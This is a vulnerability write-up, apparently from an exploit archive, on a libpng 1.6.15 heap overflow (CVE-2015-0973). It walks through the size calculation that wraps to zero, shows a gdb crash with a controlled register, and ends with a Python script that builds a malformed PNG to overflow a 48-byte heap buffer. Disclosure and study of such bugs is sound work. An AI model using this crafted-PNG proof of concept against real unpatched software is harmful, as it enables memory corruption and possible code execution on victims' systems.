libpng 1.6.15 Heap Overflow Exploit



EKU-ID: 4546 CVE: 2015-0973 OSVDB-ID:
Author: Alex Eubanks Published: 2015-01-26 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


/*********************************
* Alex Eubanks *
* endeavor@rainbowsandpwnies.com *
* libpng 1.6.15 heap overflow *
* 18 December 2014 *
*********************************/
  
/*************
* A foreword *
*************/
// this bug was found with american fuzzy lop! thanks lcamtuf!
/*
* We will trigger a call to zlib which will decompress data from an IDAT chunk
* into a heap-buffer of 48 bytes. The size of this heap-buffer does not depend
* on the amount of data we decompress into it.
*
* In some cases, like my case (programs are wonderful creations), this may
* allow for a controlled write.
*
* My environment is
* user@debian:~$ uname -a
* Linux debian 3.2.0-4-686-pae #1 SMP Debian 3.2.63-2+deb7u2 i686 GNU/Linux
*
* Example code to trigger this overflow is available at the end of this post.
* Simply set OVERFLOW_DATA to what you want to overflow the heap with.
*/
  
Program received signal SIGSEGV, Segmentation fault.
0xb7eb4f71 in ?? () from /lib/i386-linux-gnu/i686/cmov/libc.so.6
(gdb) x/i $pc
=> 0xb7eb4f71: movdqu %xmm0,(%esi)
(gdb) i r esi
esi 0x41414141 1094795585
(gdb) i r xmm0
xmm0 {v4_float = {0xc, 0xc, 0xc, 0xc}, v2_double = {0x228282, 0x228282}, v16_int8 = {0x41 <repeats 16
times>},
v8_int16 = {0x4141, 0x4141, 0x4141, 0x4141, 0x4141, 0x4141, 0x4141, 0x4141}, v4_int32 = {0x41414141, 0x41414141,
0x41414141, 0x41414141}, v2_int64 = {0x4141414141414141, 0x4141414141414141},
uint128 = 0x41414141414141414141414141414141}
  
  
/***************
* The overflow *
***************/
# pngrutil.c :: png_read_IDAT_data :: line 4018
/*
* At the time of this call,
* png_ptr->zstream->avail_out = 0x20000000
* png_ptr->zstream->avail_in = size of our compressed IDAT data
* png_ptr->zstream->next_in = our compressed IDAT data
* png_ptr->zstream->next_out = a pointer to row_buf, 31 bytes in big_row_buf
*/
ret = inflate(&png_ptr->zstream, Z_NO_FLUSH);
  
/*******
* IHDR *
*******/
[0-3] = png_ptr->width // 0x20000000
[4-7] = png_ptr->height // 0x00000020
[8] = png_ptr->bit_depth // 0x10
[9] = png_ptr->color_type // 0x06
[10] = png_ptr->compression_type // 0x00
[11] = png_ptr->filter_type // 0x00
[12] = png_ptr->interlace_type // 0x01
  
  
/*********************
* png_read_IDAT_data *
*********************/
# pngrutil.c :: png_read_IDAT_data :: line 3941
void /* PRIVATE */
png_read_IDAT_data(png_structrp png_ptr, png_bytep output,
png_alloc_size_t avail_out)
  
/
* png_bytep output
* \-> a buffer to decompress the IDAT data into
* png_alloc_size_t avail_out
* \-> The size of output in bytes
*/
  
  
# pngrutil.c :: png_read_IDAT_data :: line 3984
buffer = png_read_buffer(png_ptr, avail_in, 0/*error*/);
  
# pngrutil.c :: png_read_IDAT_data :: line 3989
png_ptr->zstream.next_in = buffer;
  
# pngrutil.c :: png_read_IDAT_data :: line 3946
png_ptr->zstream.next_out = output;
  
# pngrutil.c :: png_read_IDAT_data :: line 4002
png_ptr->zstream.avail_out = out;
  
pngrutil.c :: png_read_IDAT_data :: line 4018
ret = inflate(&png_ptr->zstream, Z_NO_FLUSH);
  
  
/*********************************
* The call to png_read_IDAT_data *
*********************************/
# pngread.c :: png_read_row :: line 534
png_read_IDAT_data(png_ptr, png_ptr->row_buf, row_info.rowbytes + 1);
  
# pngrutil.c :: png_read_IDAT_data :: line 3941
void /* PRIVATE */
png_read_IDAT_data(png_structrp png_ptr, png_bytep output, png_alloc_size_t avail_out)
  
/*****************************
* deriving row_info.rowbytes *
*****************************/
  
# pngread.c :: png_read_row :: line 397
row_info.rowbytes = PNG_ROWBYTES(row_info.pixel_depth, row_info.width);
  
/************************************
* deriving row_info.rowbytes *
* \-> deriving row_info.pixel_depth *
************************************/
  
# pngread.c :: png_read_row :: line 396
row_info.pixel_depth = png_ptr->pixel_depth;
  
// row_info.pixel_depth is set in png_handle_IHDR
# pngrutil.c :: png_handle_IHDR :: line 855
png_ptr->pixel_depth = (png_byte)(png_ptr->bit_depth * png_ptr->channels);
  
// where png_ptr->bit_depth = IHDR[8], or 0x10
  
// channels is set by the following logic based off
// IHDR->color_type, or 0x6
if (color_type == PNG_COLOR_TYPE_RGB) // 2
png_ptr->channels = 3
else if (color_type == PNG_COLOR_TYPE_GRAY_ALPHA) // 4
png_ptr->channels = 2
else if (color_type == PNG_COLOR_TYPE_RGB_ALPHA) // 6
png_ptr->channels = 4
else
png_ptr->channels = 1
  
// row_info.pixel_depth = 0x10 * 4
  
/************************************
* deriving row_info.rowbytes *
* \-> deriving row_info.width *
************************************/
  
# pngread.c :: png_read_row :: line 392
row_info.width = png_ptr->iwidth; /* NOTE: width of current interlaced row */
  
// png_ptr->iwidth is set in png_read_start_row
// cliff notes here are, during the first interlace pass, width will be
// divided by 8, so 0x20000000 becomes 0x4000000
// actual computation is ((0x20000000 + 8 - 1 - 0) / 8)
# pngrutil.c :: png_read_start_row :: line 4217
png_ptr->iwidth = (png_ptr->width + // png_ptr->width = 0x20000000
png_pass_inc[png_ptr->pass] - 1 -
png_pass_start[png_ptr->pass]) /
png_pass_inc[png_ptr->pass];
  
// png_ptr->iwidth = 0x4000000
  
  
// back to our original call for row_info.rowbytes
# pngread.c :: png_read_row :: line 397
row_info.rowbytes = PNG_ROWBYTES(row_info.pixel_depth, row_info.width);
  
# pngpriv.h :: line 659
/* Added to libpng-1.2.6 JB */
#define PNG_ROWBYTES(pixel_bits, width) \
((pixel_bits) >= 8 ? \
((png_size_t)(width) * (((png_size_t)(pixel_bits)) >> 3)) : \
(( ((png_size_t)(width) * ((png_size_t)(pixel_bits))) + 7) >> 3) )
  
// row_info.rowbytes = 0x4000000 * ((64) >> 3) = 0x20000000
// row_info.rowbytes = 0x20000000
  
/****************************
* deriving png_ptr->row_buf *
****************************/
# pngstruct.h :: line 225
// inside struct png_struct_def, which is png_ptr
png_bytep row_buf; /* buffer to save current (unfiltered) row.
* This is a pointer into big_row_buf
*/
  
# pngrutil.c :: png_read_start_row :: line 4403
png_ptr->big_row_buf = (png_bytep)png_malloc(png_ptr, row_bytes + 48);
  
// there are a couple #ifdef cases for png_ptr->row_buf to be set from,
// but this summarizes nicely
# pngrutil.c :: png_read_start_row :: line 4427
png_ptr->row_buf = png_ptr->big_row_buf + 31;
  
/****************************
* deriving png_ptr->row_buf *
* \-> deriving row_bytes *
****************************/
# pngrutil :: png_read_start_row :: line 4427
row_bytes = ((png_ptr->width + 7) & ~((png_uint_32)7));
/* Calculate the maximum bytes needed, adding a byte and a pixel
* for safety's sake
*/
row_bytes = PNG_ROWBYTES(max_pixel_depth, row_bytes) +
1 + ((max_pixel_depth + 7) >> 3);
  
// cliff notes, based on our IHDR color_type being
// PNG_COLOR_TYPE_RGB_ALPHA, max_pixel_depth = 64
  
row_bytes = 0x20000000 * (64 >> 3) = 0;
  
// this makes the size of the malloc call to png_malloc 48, which means
// malloc doesn't fail, returns valid pointer into the heap
// png_ptr->big_row_buf = png_malloc(png_ptr, 48)
  
  
##################
# HAPPY FUN CODE #
##################
  
import zlib
import struct
import sys
  
OVERFLOW_DATA = 'A' * 4096
  
IDAT_DATA = zlib.compress(OVERFLOW_DATA)
IDAT_SIZE = struct.pack('>i', len(IDAT_DATA))
IDAT_CRC32 = struct.pack('>i', zlib.crc32('IDAT' + IDAT_DATA))
  
HEADER = '\x89\x50\x4e\x47\x0d\x0a\x1a\x0a'
IHDR = '\x00\x00\x00\x0d\x49\x48\x44\x52\x20\x00\x00\x00\x00\x00\x00\x20\x10\x06\x00\x00\x01\xa8\xce\xde\x04'
IDAT = IDAT_SIZE + 'IDAT' + IDAT_DATA + IDAT_CRC32
  
IEND = '\x00\x00\x00\x00\x49\x45\x4e\x44'
  
sys.stdout.write(HEADER + IHDR + IDAT + IEND)